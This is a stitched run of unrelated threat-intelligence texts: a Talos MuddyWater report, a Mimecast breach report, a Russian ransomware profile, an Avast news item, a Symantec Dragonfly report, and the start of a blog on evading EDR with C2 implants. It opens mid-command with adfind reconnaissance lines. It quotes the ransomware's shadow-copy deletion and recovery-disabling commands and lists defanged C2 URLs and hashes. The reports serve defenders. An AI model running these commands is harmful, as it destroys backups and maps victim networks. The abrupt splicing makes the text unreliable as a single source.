(objectCategory=subnet)> subnets.txt adfind.exe -f "(objectcategory=group)" > ad_group.txt adfind.exe -gcb -sc trustdmp > trustdmp.txt ```
# Recent MuddyWater-associated BlackWater Campaign **Executive Summary** Cisco Talos assesses with moderate confidence that a campaign we recently discovered called "BlackWater" is associated with suspected persistent threat actor MuddyWater. Newly associated samples from April 2019 indicate attackers have added three distinct steps to their operations, allowing them to bypass certain security controls and suggesting that MuddyWater's tactics, techniques, and procedures (TTPs) have evolved to evade detection. If successful, this campaign would install a PowerShell-based backdoor onto the victim's machine, giving the threat actors remote access. While this activity indicates the threat actor is taking steps to improve its operational security and avoid endpoint detection, the underlying code remains unchanged. The findings outlined in this blog should help threat hunting teams identify MuddyWater's latest TTPs. In this latest activity, the threat actor first added an obfuscated Visual Basic for Applications (VBA) script to establish persistence as a registry key. Next, the script triggered a PowerShell stager, likely in an attempt to masquerade as a red-teaming tool rather than an advanced actor. The stager would then communicate with one actor-controlled server to obtain a component of the FruityC2 agent script, an open-source framework on GitHub, to further enumerate the host machine. This could allow the threat actor to monitor web logs and determine whether someone uninvolved in the campaign made a request to their server in an attempt to investigate the activity. Once the enumeration commands would run, the agent would communicate with a different C2 and send back the data in the URL field. This would make host-based detection more difficult, as an easily identifiable "errors.txt" file would not be generated. The threat actors also took additional steps to replace some variable strings in the more recent samples, likely in an attempt to avoid signature-based detection from Yara rules. This activity shows an increased level of sophistication from related samples observed months prior. Between February and March 2019, probable MuddyWater-associated samples indicated that the threat actors established persistence on the compromised host, used PowerShell commands to enumerate the victim's machine, and contained the IP address of the actor's command and control (C2). All of these components were included in the trojanized attachment, and therefore a security researcher could uncover the attackers' TTPs simply by obtaining a copy of the document. By contrast, the activity from April would require a multi-step investigative approach. **BlackWater Document** Talos has uncovered documents that we assess with moderate confidence are associated with suspected persistent threat actor MuddyWater. MuddyWater has been active since at least November 2017 and has been known to primarily target entities in the Middle East. We assess with moderate confidence that these documents were sent to victims via phishing emails. One such trojanized document was created on April 23, 2019. The original document was titled "company information list.doc". Once the document was opened, it prompted the user to enable the macro titled "BlackWater.bas". The threat actor password-protected the macro, making it inaccessible if a user attempted to view the macro in Visual Basic, likely as an anti-reversing technique. The "Blackwater.bas" macro was obfuscated using a substitution cipher whereby the characters are replaced with their corresponding integer. The macro contains a PowerShell script to persist in the "Run" registry key, "KCU\Software\Microsoft\Windows\CurrentVersion\Run\SystemTextEncoding". The script then called the file "\ProgramData\SysTextEnc.ini" every 300 seconds. The clear text version of the SysTextEnc.ini appears to be a lightweight stager. The stager then reached out to the actor-controlled C2 server located at hxxp://38[.]132[.]99[.]167/crf.txt. The clear text version of the crf.txt file closely resembled the PowerShell agent that was previously used by the MuddyWater actors when they targeted Kurdish political groups and organizations in Turkey. The actors have made some small changes, such as altering the variable names to avoid Yara detection and sending the results of the commands to the C2 in the URL instead of writing them to a file. However, despite these changes, the functionality remains almost unchanged. Notably, a number of the PowerShell commands used to enumerate the host appear to be derived from a GitHub project called FruityC2. This series of commands first sent a server hello message to the C2, followed by a subsequent hello message every 300 seconds. An example of this beacon is hxxp://82[.]102[.]8[.]101:80/bcerrxy.php?rCecms=BlackWater. Notably, the trojanized document's macro was also called "BlackWater," and the value "BlackWater" was hard coded into the PowerShell script. Next, the script would enumerate the victim's machine. Most of the PowerShell commands would call Windows Management Instrumentation (WMI) and then query the following information: - Operating system's name (i.e., the name of the machine) - Operating system's OS architecture - Operating system's caption - Computer system's domain - Computer system's username - Computer's public IP address The only command that did not call WMI was for the "System.Security.Cryptography.MD5CryptoServiceProvider.ComputerHash," or the command to obtain the security system's MD5 hash. This was likely pulled to uniquely identify the workstation in case multiple workstations were compromised within the same network. Once the host-based enumeration information was obtained, it was base64-encoded and then appended to the URL post request to a C2, whereas in previous versions this information was written to a text file. **Conclusion** In addition to the new anti-detection steps outlined in this report, the MuddyWater actors have made small modifications to avoid common host-based signatures and replaced variable names to avoid Yara signatures. These changes were superficial, as their underlying code base and implant functionality remained largely unchanged. However, while these changes were minimal, they were significant enough to avoid some detection mechanisms. Despite last month's report on aspects of the MuddyWater campaign, the group is undeterred and continues to perform operations. Based on these observations, as well as MuddyWater's history of targeting Turkey-based entities, we assess with moderate confidence that this campaign is associated with the MuddyWater threat actor group. **Indicators of Compromise** **Hashes** - 0f3cabc7f1e69d4a09856cc0135f7945850c1eb6aeecd010f788b3b8b4d91cad - 9d998502c3999c4715c880882efa409c39dd6f7e4d8725c2763a30fbb55414b7 - 0d3e0c26f7f53dff444a37758b414720286f92da55e33ca0e69edc3c7f040ce2 - A3bb6b3872dd7f0812231a480881d4d818d2dea7d2c8baed858b20cb318da981 - 6f882cc0cddd03bc123c8544c4b1c8b9267f4143936964a128aa63762e582aad - Bef9051bb6e85d94c4cfc4e03359b31584be027e87758483e3b1e65d389483e6 - 4dd641df0f47cb7655032113343d53c0e7180d42e3549d08eb7cb83296b22f60 - 576d1d98d8669df624219d28abcbb2be0080272fa57bf7a637e2a9a669e37acf - 062a8728e7fcf2ff453efc56da60631c738d9cd6853d8701818f18a4e77f8717 **URLs** - hxxp://38[.]132[.]99[.]167/crf.txt - hxxp://82[.]102[.]8[.]101:80/bcerrxy.php?rCecms=BlackWater - hxxp://82[.]102[.]8[.]101/bcerrxy.php? - hxxp://94[.]23[.]148[.]194/serverScript/clientFrontLine/helloServer.php - hxxp://94[.]23[.]148[.]194/serverScript/clientFrontLine/getCommand.php - hxxp://94[.]23[.]148[.]194/serverScript/clientFrontLine/ - hxxp://136[.]243[.]87[.]112:3000/KLs6yUG5Df - hxxp://136[.]243[.]87[.]112:3000/ll5JH6f4Bh - hxxp://136[.]243[.]87[.]112:3000/Y3zP6ns7kG
# Incident Report **Published:** March 16, 2021 ## Executive Summary In January, we became aware of a security incident later determined to be conducted by the same sophisticated threat actor responsible for the SolarWinds supply chain attack. During our investigation, we learned that the threat actor used the SolarWinds supply-chain compromise to gain access to part of our production grid environment. Using this entry point, the threat actor accessed certain Mimecast-issued certificates and related customer server connection information. The threat actor also accessed a subset of email addresses and other contact information, as well as encrypted and/or hashed and salted credentials. In addition, the threat actor accessed and downloaded a limited number of our source code repositories, but we found no evidence of any modifications to our source code nor do we believe there was any impact on our products. We have no evidence that the threat actor accessed email or archive content held by us on behalf of our customers. When we became aware of the security incident, we immediately launched an internal investigation. Our investigation was supported by leading third-party forensics and cyber incident response experts at Mandiant, a division of FireEye, and in coordination with law enforcement to aid their investigation into this threat actor. As the investigation progressed, we issued a series of advisories to affected customers, including recommended precautionary steps to mitigate risk. We have now completed our forensic investigation with Mandiant and have eliminated the threat actor’s access to our environment. We have already taken a number of actions to prevent future access to our environment as described below and we will continue to monitor for threats and take precautionary steps as needed. ## Incident Details and Remediation Actions The following provides a more detailed summary of our investigation, as well as an overview of the steps taken to address this attack and further enhance our environment. ### Phase 1 In January, Microsoft notified us that a certificate we provide to customers to authenticate Mimecast Sync and Recover, Continuity Monitor, and IEP products to Microsoft 365 Exchange Web Services had been compromised by a threat actor they were actively investigating. Microsoft informed us that the threat actor used the certificate to connect to a low single-digit number of our mutual customers’ M365 tenants from non-Mimecast IP address ranges. While the evidence showed that this certificate was used to target only the small number of customers, we quickly formulated a plan to mitigate potential risk for all customers who used the certificate. We made a new certificate connection available and advised these customers and relevant supporting partners, via email, in-app notifications, and outbound calls, to take the precautionary step of switching to the new connection. Our public blog post provided visibility surrounding this stage of the incident. We coordinated with Microsoft to confirm that there was no further unauthorized use of the compromised Mimecast certificate and worked with our customers and partners to migrate to the new certificate connection. Once a majority of our customers had implemented the new certificate connection, Microsoft disabled the compromised certificate at our request. ### Phase 2 Supported by Mandiant, we confirmed that the incident was related to the SolarWinds Orion software compromise and was perpetrated by the same sophisticated threat actor. Our investigation determined that the initial intrusion resulted from SUNBURST malware, the backdoor present in the compromised version of SolarWinds Orion software we had previously used in our environment. Our investigation revealed suspicious activity within a segment of our production grid environment containing a small number of Windows servers. The lateral movement from the initial access point to these servers is consistent with the mechanism described by Microsoft and other organizations that have documented the attack pattern of this threat actor. We determined that the threat actor leveraged our Windows environment to query, and potentially extract, certain encrypted service account credentials created by customers hosted in the United States and the United Kingdom. These credentials establish connections from Mimecast tenants to on-premise and cloud services, which include LDAP, Azure Active Directory, Exchange Web Services, POP3 journaling, and SMTP-authenticated delivery routes. We have no evidence that the threat actor accessed email or archive content held by us on behalf of our customers. Although we were not aware that any of the encrypted credentials were decrypted or misused, we issued a specific advisory to customers hosted in the United States and United Kingdom to take precautionary steps to reset their credentials. At this time, we published an additional public blog post. ### Phase 3 As the investigation progressed, we determined that the threat actor had established additional access methods to the same segment of our production grid environment. We removed and blocked the threat actor’s means of access. All compromised systems were Windows-based and peripheral to the core of our production customer infrastructure. We completely replaced all compromised servers to eliminate the threat. At this point, we were able to determine the specific scope of data access and confirm exfiltration by the threat actor. We have no evidence that the threat actor accessed email or archive content held by us on behalf of our customers. The threat actor did access a subset of email addresses and other contact information and hashed and salted credentials. Some of this information required us to notify the affected customers and partners under certain regulations, which we have done. We are resetting the affected hashed and salted credentials as a precautionary step. The investigation revealed that the threat actor accessed and downloaded a limited number of our source code repositories, as the threat actor is reported to have done with other victims of the SolarWinds Orion supply chain attack. We believe that the source code downloaded by the threat actor was incomplete and would be insufficient to build and run any aspect of the Mimecast service. We found no evidence that the threat actor made any modifications to our source code nor do we believe that there was any impact on our products. We will continue to analyze and monitor our source code to protect against potential misuse. In March, we completed our forensic investigation with Mandiant. ## Customer Impact - We have no evidence that email or archive content was accessed by the threat actor. - Beyond the low single-digit number of customers targeted by the threat actor, which we contacted as described in our first blog post, we are not aware that any other customers were actively targeted. - As described in our second blog post, we recommended that customers hosted in the United States and United Kingdom reset as a precautionary measure any server connection credentials in use on the Mimecast platform. - We are resetting the affected hashed and salted credentials as a precautionary step. - We do not believe that the threat actor made any modifications to our source code. - Forensic analysis of all customer-deployed Mimecast software has confirmed that the build process of the Mimecast-distributed executables was not tampered with. - The threat actor accessed some information that required us to notify the affected customers and partners under certain regulations, which we have done. ## Additional Mimecast Remediation Steps We have completed the following actions: - Rotated all impacted certificates and encryption keys. - Upgraded encryption algorithm strength for all stored credentials. - Implemented enhanced monitoring of all stored certificates and encryption keys. - Deployed additional host security monitoring functionality across all of our infrastructure. - Decommissioned SolarWinds Orion and replaced it with an alternative NetFlow monitoring system. - Rotated all Mimecast employee, system, and administrative credentials, and expanded hardware-based two-factor authentication for employee access to production systems. - Completely replaced all compromised servers. - Inspected and verified our build and automation systems to confirm that Mimecast-distributed executables were not tampered with. - Implemented additional static and security analysis across the source code tree. We are in the process of implementing a new OAuth-based authentication and connection mechanism between Mimecast and Microsoft technologies, which will provide enhanced security to Mimecast Server Connections. We will work with customers to migrate them to this new architecture as soon as it is available. ## Forward-Looking Statements This communication contains “forward-looking” statements, which are subject to the safe harbor provisions of the Private Securities Litigation Reform Act of 1995 and other federal securities laws, that are based on currently available information and our current beliefs, expectations and understanding. These forward-looking statements include statements regarding Mimecast’s current understanding of the identity and likely targets of the sophisticated threat actor, the scope and impact of the attack, the potential decryption and/or misuse of the encrypted credentials, the number and location of impacted customers, the level of impact on our source code and the build process of the Mimecast-distributed executables, the active targeting of any of our customers, our ability to limit access and eliminate the threat, the effectiveness of any current or future isolation and remediation efforts, the effectiveness of monitoring and prevention efforts on any future access going forward, the likelihood that other companies will be affected by the threat actor, and the information provided to us by third parties during the course of our ongoing investigation. Mimecast intends that all such forward-looking statements be covered by the safe harbor provisions for forward-looking statements contained in Section 21E of the Securities Exchange Act of 1934, as amended, and the Private Securities Litigation Reform Act of 1995. These statements are subject to future events, risks and uncertainties – many of which are beyond our control or are currently unknown to Mimecast. These risks and uncertainties include, but are not limited to, risks and uncertainties related to the uncovering of new information in the course of our investigation related to the nature, cause and scope of the issue, the reputational, financial, legal and other risks related to potential adverse impacts to our customers and partners, and the other risks, uncertainties and factors detailed in Mimecast’s filings with the Securities and Exchange Commission. Mimecast is providing the information in this communication as of this date and assumes no obligations to update the information included in this communication or revise any forward-looking statements, whether as a result of new information, future events or otherwise.
# TargetCompany Ransomware ## "Tohnichi" Ransomware Этот крипто-вымогатель шифрует данные пользователей с помощью комбинации алгоритмов ChaCha20, AES-128, Curve25519, а затем требует выкуп в # BTC, чтобы вернуть файлы. Оригинальное название: в записке не указано. На файле написано: local.exe. Используется CryptGenRandom для генерации ключа шифрования. ### Обнаружения: - DrWeb -> Trojan.Encoder.34027 - BitDefender -> Gen:Heur.Ransom.REntS.Gen.1 - ESET-NOD32 -> A Variant Of Win32/Filecoder.OHO - Kaspersky -> HEUR:Trojan-Ransom.Win32.Generic - Malwarebytes -> Ransom.FileCryptor - Microsoft -> Ransom:Win32/GarrantDecrypt.PA!MTB - Rising -> Ransom.Outsider!1.D74B (CLASSIC) - Symantec -> ML.Attribute.HighConfidence - Tencent -> Win32.Trojan.Filecoder.Wrqd - TrendMicro -> Ransom_GarrantDecrypt.R002C0DFG21 © Генеалогия: предыдущие (GarrantDecrypt, Outsider) > TargetCompany. Сайт "ID Ransomware" идентифицирует это как TargetCompany. ### Информация для идентификации Активность этого крипто-вымогателя была в середине июня 2021 г. Ориентирован на англоязычных пользователей, может распространяться по всему миру. К зашифрованным файлам добавляется расширение: - .<target_company> - .<target_pc> - .<known_name> - .<known_word> В расширении может быть скрыто название атакованной компании или название атакованного компьютера. Позже вымогатели стали использовать любое известное название, чтобы сбить с толку и запутать пострадавшего и того, кто будет анализировать случай. Пример такого расширения: у файлов атакованной компании "Tohnichi" было расширение: .tohnichi. Записка с требованием выкупа называется: How to decrypt files.txt. ### Содержание записки о выкупе: Ваш персональный идентификатор: 07B8AC198*** Все файлы в сети TOHNICHI зашифрованы из-за недостаточной безопасности. Единственный способ быстро и надежно восстановить доступ к вашим файлам - это связаться с нами. Цена зависит от того, как быстро вы нам напишите. В других случаях вы рискуете потерять время и доступ к данным. Обычно время гораздо дороже денег. **FAQ** **В: Как с нами связаться** **О:** Загрузите Tor Browser, откройте ссылку в Tor Browser, следуйте инструкциям на сайте. **В: Какие гарантии?** **О:** Перед оплатой мы можем расшифровать несколько ваших тест-файлов. Файлы не должны содержать ценной информации. **В: Могу ли я расшифровать свои данные бесплатно или через посредников?** **О:** Используйте сторонние программы и посредников на свой страх и риск. Программы сторонних производителей могут привести к потере данных. Расшифровка ваших файлов с помощью третьих лиц может привести к удорожанию или вы можете стать жертвой мошенничества. Пострадавшая компания, посетив URL вымогателей, должна указать ID из записки и свой контактный email для получения письма от вымогателей. Короткое сообщение на сайте: Ваши файлы компании зашифрованы! Внимание! Новые расширения, email и тексты о выкупе можно найти в конце статьи, в обновлениях. Там могут быть различия с первоначальным вариантом. ### Технические детали + IOC Может распространяться путём взлома через незащищенную конфигурацию RDP, с помощью email-спама и вредоносных вложений, обманных загрузок, ботнетов, эксплойтов, вредоносной рекламы, веб-инжектов, фальшивых обновлений, перепакованных и заражённых инсталляторов. См. также "Основные способы распространения криптовымогателей" на вводной странице блога. Нужно всегда использовать актуальную антивирусную защиту! Если вы пренебрегаете комплексной антивирусной защитой класса Internet Security или Total Security, то хотя бы делайте резервное копирование важных файлов по методу 3-2-1. Удаляет теневые копии файлов, отключает функции восстановления и исправления Windows на этапе загрузки командами: ``` vssadmin.exe delete shadows /all /quiet bcdedit /set {current} bootstatuspolicy ignoreallfailures bcdedit /set {current} recoveryenabled no ``` По завершении шифрования самоудаляется. Вырубает следующие процессы: fdhost.exe, fdlauncher.exe, MsDtsSrvr.exe, msmdsrv.exe, mysql.exe, ntdbsmgr.exe, oracle.exe, ReportingServecesService.exe, sqlserv.exe, sqlservr.exe, sqlwrite. ### Список типов файлов, подвергающихся шифрованию: Это документы MS Office, OpenOffice, PDF, текстовые файлы, базы данных, фотографии, музыка, видео, файлы образов, архивы и пр. ### Список исключений: - .386, .ani, .bat, .bin, .cab, .cmd, .com, .cpl, .cur, .dll, .drv, .exe, .hlp, .hta, .ico, .key, .ldf, .lnk, .msc, .msi, .msp, .nls, .ocx, .prf, .scr, .shs, .spl, .sys, .wpx ### Список пропускаемых директорий: $windows.~bt, $windows.~ws, appdata, application data, Assemblies, boot, Common Files, Core Runtime, google, intel, Internet Explorer, Microsoft Analysis Services, Microsoft ASP.NET, Microsoft Help Viewer, Microsoft MPI, Microsoft Security Client, Microsoft.NET, mozilla, msocache, Package, Package Store, perflogs, programdata, Reference, system volume information, tor browser, Windows, Windows Defender, Windows Kits, Windows Mail, Windows NT, Windows Photo Viewer, Windows Portable Devices, Windows Sidebar, Windows Store, windows.old, WindowsPowerShell. ### Файлы, связанные с этим Ransomware: - How to decrypt files.txt - название файла с требованием выкупа; - local.exe - название вредоносного файла. ### Расположения: - \Desktop\ - \User_folders\ - \%TEMP%\ ### Записи реестра, связанные с этим Ransomware: - Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\tohnichi_auto_file\shell\open\command rundll32.exe - Set value (str) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\tohnichi_auto_file\shell\open\command\ = "%SystemRoot%\\system32\\NOTEPAD.EXE %1" rundll32.exe ### Результаты анализов: - MD5: d687eb9fea18e6836bd572b2d180b144 - SHA-1: 0e7f076d59ab24ab04200415cb35037c619d0bae - SHA-256: 863e4557e550dd89e5ca0e43c57a3fc1889145c76ec9787e97f76e959fc8e1e1 - Vhash: 015056655d155510f8z73hz2075zabz - Imphash: c8318053dac1b12c686403fde752954c Степень распространённости: средняя. Подробные сведения собираются регулярно. Присылайте образцы.
# Ransomware Strain Troldesh Spikes Again Avast software has blocked more than 100,000 attacks by the ransomware strain this year, and recently shows the highest prevalence of it since January. This week the ransomware known as Troldesh, which made headlines early this year, spiked again in Russia, Mexico, and the U.S. Troldesh (aka Shade) was spread by phishing emails last winter and is reportedly now being spread via social networks and other messaging platforms, where posts point to malicious links. Avast researcher Jakub Křoustek was able to track a spike Monday (June 24) predominantly in Russia and Mexico, but with smaller spikes in the U.K. and Germany. “We see a spike in the number of its attacks that is probably more to do with Troldesh operators trying to push this strain harder and more effectively than any kind of significant code update,” Křoustek said. “Troldesh has been spreading in the wild for years with thousands of victims with ransomed files and it will probably stay prevalent for some time.” Ransomware caused global disruption in 2017’s WannaCry outbreak. Last spring a ransomware attack locked up many of the files of the city of Baltimore, and other attacks hit Atlanta, San Antonio, and other cities. It is a type of malicious software (aka malware) that is designed to take your computer files – and sometimes even your entire computer – hostage. The malware encrypts your files so that they cannot be opened, or it locks you out of your computer completely to prevent access to all of those important photos, videos, accounting files, work documents, and other files. Many security experts advise against paying ransom to hackers because it empowers them, and encrypted files are often not released, anyway.
# Dragonfly: Western Energy Sector Targeted by Sophisticated Attack Group Resurgence in energy sector attacks, with the potential for sabotage, linked to re-emergence of Dragonfly cyber espionage group. **By:** Symantec Security Response **Created:** 06 Sep 2017 The energy sector in Europe and North America is being targeted by a new wave of cyber attacks that could provide attackers with the means to severely disrupt affected operations. The group behind these attacks is known as Dragonfly. The group has been in operation since at least 2011 but has re-emerged over the past two years from a quiet period following exposure by Symantec and a number of other researchers in 2014. This “Dragonfly 2.0” campaign, which appears to have begun in late 2015, shares tactics and tools used in earlier campaigns by the group. The energy sector has become an area of increased interest to cyber attackers over the past two years. Most notably, disruptions to Ukraine’s power system in 2015 and 2016 were attributed to a cyber attack and led to power outages affecting hundreds of thousands of people. In recent months, there have also been media reports of attempted attacks on the electricity grids in some European countries, as well as reports of companies that manage nuclear facilities in the U.S. being compromised by hackers. The Dragonfly group appears to be interested in both learning how energy facilities operate and also gaining access to operational systems themselves, to the extent that the group now potentially has the ability to sabotage or gain control of these systems should it decide to do so. Symantec customers are protected against the activities of the Dragonfly group. ## Dragonfly 2.0 Symantec has evidence indicating that the Dragonfly 2.0 campaign has been underway since at least December 2015 and has identified a distinct increase in activity in 2017. Symantec has strong indications of attacker activity in organizations in the U.S., Turkey, and Switzerland, with traces of activity in organizations outside of these countries. The U.S. and Turkey were also among the countries targeted by Dragonfly in its earlier campaign, though the focus on organizations in Turkey does appear to have increased dramatically in this more recent campaign. As it did in its prior campaign between 2011 and 2014, Dragonfly 2.0 uses a variety of infection vectors in an effort to gain access to a victim’s network, including malicious emails, watering hole attacks, and Trojanized software. The earliest activity identified by Symantec in this renewed campaign was a malicious email campaign that sent emails disguised as an invitation to a New Year’s Eve party to targets in the energy sector in December 2015. The group conducted further targeted malicious email campaigns during 2016 and into 2017. The emails contained very specific content related to the energy sector, as well as some related to general business concerns. Once opened, the attached malicious document would attempt to leak victims’ network credentials to a server outside of the targeted organization. In July, Cisco blogged about email-based attacks targeting the energy sector using a toolkit called Phishery. Some of the emails sent in 2017 that were observed by Symantec were also using the Phishery toolkit to steal victims’ credentials via a template injection attack. This toolkit became generally available on GitHub in late 2016. As well as sending malicious emails, the attackers also used watering hole attacks to harvest network credentials, by compromising websites that were likely to be visited by those involved in the energy sector. The stolen credentials were then used in follow-up attacks against the target organizations. In one instance, after a victim visited one of the compromised servers, Backdoor.Goodor was installed on their machine via PowerShell 11 days later. Backdoor.Goodor provides the attackers with remote access to the victim’s machine. In 2014, Symantec observed the Dragonfly group compromise legitimate software in order to deliver malware to victims, a practice also employed in the earlier 2011 campaigns. In the 2016 and 2017 campaigns, the group is using the evasion framework Shellter in order to develop Trojanized applications. In particular, Backdoor.Dorshel was delivered as a trojanized version of standard Windows applications. Symantec also has evidence to suggest that files masquerading as Flash updates may be used to install malicious backdoors onto target networks—perhaps by using social engineering to convince a victim they needed to download an update for their Flash player. Shortly after visiting specific URLs, a file named “install_flash_player.exe” was seen on victim computers, followed shortly by the Trojan.Karagany.B backdoor. Typically, the attackers will install one or two backdoors onto victim computers to give them remote access and allow them to install additional tools if necessary. Goodor, Karagany.B, and Dorshel are examples of backdoors used, along with Trojan.Heriplor. ## Strong Links with Earlier Campaigns There are a number of indicators linking recent activity with earlier Dragonfly campaigns. In particular, the Heriplor and Karagany Trojans used in Dragonfly 2.0 were both also used in the earlier Dragonfly campaigns between 2011 and 2014. Trojan.Heriplor is a backdoor that appears to be exclusively used by Dragonfly, and is one of the strongest indications that the group that targeted the western energy sector between 2011 and 2014 is the same group that is behind the more recent attacks. This custom malware is not available on the black market, and has not been observed being used by any other known attack groups. It has only ever been seen being used in attacks against targets in the energy sector. Trojan.Karagany.B is an evolution of Trojan.Karagany, which was previously used by Dragonfly, and there are similarities in the commands, encryption, and code routines used by the two Trojans. Trojan.Karagany.B doesn’t appear to be widely available, and has been consistently observed being used in attacks against the energy sector. ## Potential for Sabotage Sabotage attacks are typically preceded by an intelligence-gathering phase where attackers collect information about target networks and systems and acquire credentials that will be used in later campaigns. The most notable examples of this are Stuxnet and Shamoon, where previously stolen credentials were subsequently used to administer their destructive payloads. The original Dragonfly campaigns now appear to have been a more exploratory phase where the attackers were simply trying to gain access to the networks of targeted organizations. The Dragonfly 2.0 campaigns show how the attackers may be entering into a new phase, with recent campaigns potentially providing them with access to operational systems, access that could be used for more disruptive purposes in future. The most concerning evidence of this is in their use of screen captures. In one particular instance, the attackers used a clear format for naming the screen capture files, [machine description and location].[organization name]. The string “cntrl” (control) is used in many of the machine descriptions, possibly indicating that these machines have access to operational systems. ## Clues or False Flags? While Symantec cannot definitively determine Dragonfly’s origins, this is clearly an accomplished attack group. It is capable of compromising targeted organizations through a variety of methods; can steal credentials to traverse targeted networks; and has a range of malware tools available to it, some of which appear to have been custom developed. Dragonfly is a highly focused group, carrying out targeted attacks on energy sector targets since at least 2011, with a renewed ramping up of activity observed in the last year. Some of the group’s activity appears to be aimed at making it more difficult to determine who precisely is behind it: - The attackers used more generally available malware and “living off the land” tools, such as administration tools like PowerShell, PsExec, and Bitsadmin, which may be part of a strategy to make attribution more difficult. The Phishery toolkit became available on GitHub in 2016, and a tool used by the group—Screenutil—also appears to use some code from CodeProject. - The attackers also did not use any zero days. As with the group’s use of publicly available tools, this could be an attempt to deliberately thwart attribution, or it could indicate a lack of resources. - Some code strings in the malware were in Russian. However, some were also in French, which indicates that one of these languages may be a false flag. Conflicting evidence and what appear to be attempts at misattribution make it difficult to definitively state where this attack group is based or who is behind it. What is clear is that Dragonfly is a highly experienced threat actor, capable of compromising numerous organizations, stealing information, and gaining access to key systems. What it plans to do with all this intelligence has yet to become clear, but its capabilities do extend to materially disrupting targeted organizations should it choose to do so. ## Protection Symantec customers are protected against Dragonfly activity. Symantec has also made efforts to notify identified targets of recent Dragonfly activity. Symantec has the following specific detections in place for the threats called out in this blog: - Trojan.Phisherly - Backdoor.Goodor - Trojan.Karagany.B - Backdoor.Dorshel - Trojan.Heriplor - Trojan.Listrix - Trojan.Karagany Symantec has also developed a list of Indicators of Compromise to assist in identifying Dragonfly activity: | Family | MD5 | Command & Control | |----------------------|---------------------------------------|---------------------------------------| | Backdoor.Dorshel | b3b5d67f5bbf5a043f5bf5d079dbcb56 | hxxp://103.41.177.69/A56WY | | Trojan.Karagany.B | 1560f68403c5a41e96b28d3f882de7f1 | hxxp://37.1.202.26/getimage/622622.jpg | | Trojan.Heriplor | e02603178c8c47d198f7d34bcf2d68b8 | | | Trojan.Listrix | da9d8c78efe0c6c8be70e6b857400fb1 | | | Hacktool.Credrix | a4cf567f27f3b2f8b73ae15e2e487f00 | | | Backdoor.Goodor | 765fcd7588b1d94008975c4627c8feb6 | | | Trojan.Phisherly | 141e78d16456a072c9697454fc6d5f58 | 184.154.150.66 | | Screenutil | db07e1740152e09610ea826655d27e8d | | Customers of the DeepSight Intelligence Managed Adversary and Threat Intelligence (MATI) service have previously received reporting on the Dragonfly 2.0 group, which included methods of detecting and thwarting the activities of this adversary. ## Best Practices - Dragonfly relies heavily on stolen credentials to compromise a network. Important passwords, such as those with high privileges, should be at least 8-10 characters long (and preferably longer) and include a mixture of letters and numbers. Encourage users to avoid reusing the same passwords on multiple websites and sharing passwords with others should be forbidden. Delete unused credentials and profiles and limit the number of administrative-level profiles created. Employ two-factor authentication to provide an additional layer of security, preventing any stolen credentials from being used by attackers. - Emphasize multiple, overlapping, and mutually supportive defensive systems to guard against single point failures in any specific technology or protection method. This should include the deployment of regularly updated firewalls as well as gateway antivirus, intrusion detection or protection systems (IPS), website vulnerability with malware protection, and web security gateway solutions throughout the network. - Implement and enforce a security policy whereby any sensitive data is encrypted at rest and in transit. Ensure that customer data is encrypted as well. This can help mitigate the damage of potential data leaks from within an organization. - Implement SMB egress traffic filtering on perimeter devices to prevent SMB traffic leaving your network onto the internet. - Educate employees on the dangers posed by spear-phishing emails, including exercising caution around emails from unfamiliar sources and opening attachments that haven’t been solicited. A full protection stack helps to defend against emailed threats, including Symantec Email Security.cloud, which can block email-borne threats, and Symantec Endpoint Protection, which can block malware on the endpoint. Symantec Messaging Gateway’s Disarm technology can also protect computers from threats by removing malicious content from attached documents before they even reach the user. - Understanding the tools, techniques, and procedures (TTP) of adversaries through services like DeepSight Adversary Intelligence fuels effective defense from advanced adversaries like Dragonfly 2.0. Beyond technical understanding of the group, strategic intelligence that informs the motivation, capability, and likely next moves of the adversaries ensures more timely and effective decisions in proactively safeguarding your environment from these threats.
# Maelstrom: EDR Kernel Callbacks, Hooks, and Call Stacks ## Introduction To recap the series so far, we've gone from looking at the high-level purposes and intentions of a Command and Control Server (C2) in general to designing and implementing our first iteration of our implant and server. If you've been following along, you might think you've written a C2. This is a common mindset. In our experience, getting to this point does not require much sophistication. All of our previous work could easily be achieved (and has been achieved!) using C#, Python, Go, in an evening's worth of frenetic caffeine-fueled typing. Leading features of C2s can often be linked to pretty old solved concepts and patterns from software engineering, such as thread management, handling idle processes, and ensuring correct execution and program flow. But as we found when writing our various C2s, and as numerous other offensive developers have found when writing their own implants and servers, once you have the code working and you can get a pingback, you stop running your implant on your development computer and try it on a second computer. This is where the questions start creeping in. Questions like "Why can't I access remote files?", "Why can I make outbound requests over this protocol, but not this?", "Why does this command just fail with no explanation?", and for the cynical self-doubter with enough imposter syndrome, "Why isn't Defender stopping me from doing this?". This, personally, is the post we were looking forward to writing. It's going to be a discussion, with a few examples, of increasing common behaviors within environments with active endpoint protection. In 2022, implants face far more scrutiny - the implant and C2 operator must be prepared to face or evade this scrutiny, and the defender must be aware of how it works so that it can be used to the best of its ability. Whilst writing this, we also want to clear up the 'it avoids <insert company here> EDR' tweets. Just because the implant is able to execute, doesn't mean that Endpoint Protection is blind to it - it can mean that, but we want to demonstrate some techniques these solutions use to identify malicious behavior and raise the suspicion of an implant. In a nutshell, proof of execution is not proof of evasion. ## Objectives This post will cover: - Setting up The Hunting ELK - Reviewing three ways EDRs can detect or block malicious execution: - Kernel Callbacks - Hooking - Thread Call Stacks By the end of this post, we will have covered how modern EDRs can protect against malicious implants, and how these protections can be bypassed. We will move from having an implant which technically works to an awareness of how to write an implant which actually starts to work, and can achieve the goals of an operator. As we've said many times, we are not creating an operational C2. The output from this series is poorly written and riddled with flaws - it only does enough to act as a broken proof-of-concept of the specific items we discuss in this series to avoid this code from being used by bad actors. For this same reason, we are trying to avoid discussing Red Team operational tactics in this series. However, as we go on, it will become obvious why blending in with the compromised user's typical behavior will work. This is something that xpn has discussed on Twitter: > Find Confluence, read Confluence... become the employee! > — Adam Chester (@_xpn_) January 22, 2022 If your implant has been flagged by EDR, querying NetSessionEnum on every AD-joined computer to find active sessions is probably not typical user behavior. You likely will not know your implant has been flagged until it stops responding. From here, it's a race until your implant is uploaded to VirusTotal and you have to go back to the drawing board. We will be referring to the following programs a lot during this blog: - **The Hunting ELK (HELK)**: HELK is an Elastic stack best summarized by themselves: The Hunting ELK or simply the HELK is one of the first open-source hunt platforms with advanced analytics capabilities such as SQL declarative language, graphing, structured streaming, and even machine learning via Jupyter notebooks and Apache Spark over an ELK stack. This project was developed primarily for research, but due to its flexible design and core components, it can be deployed in larger environments with the right configurations 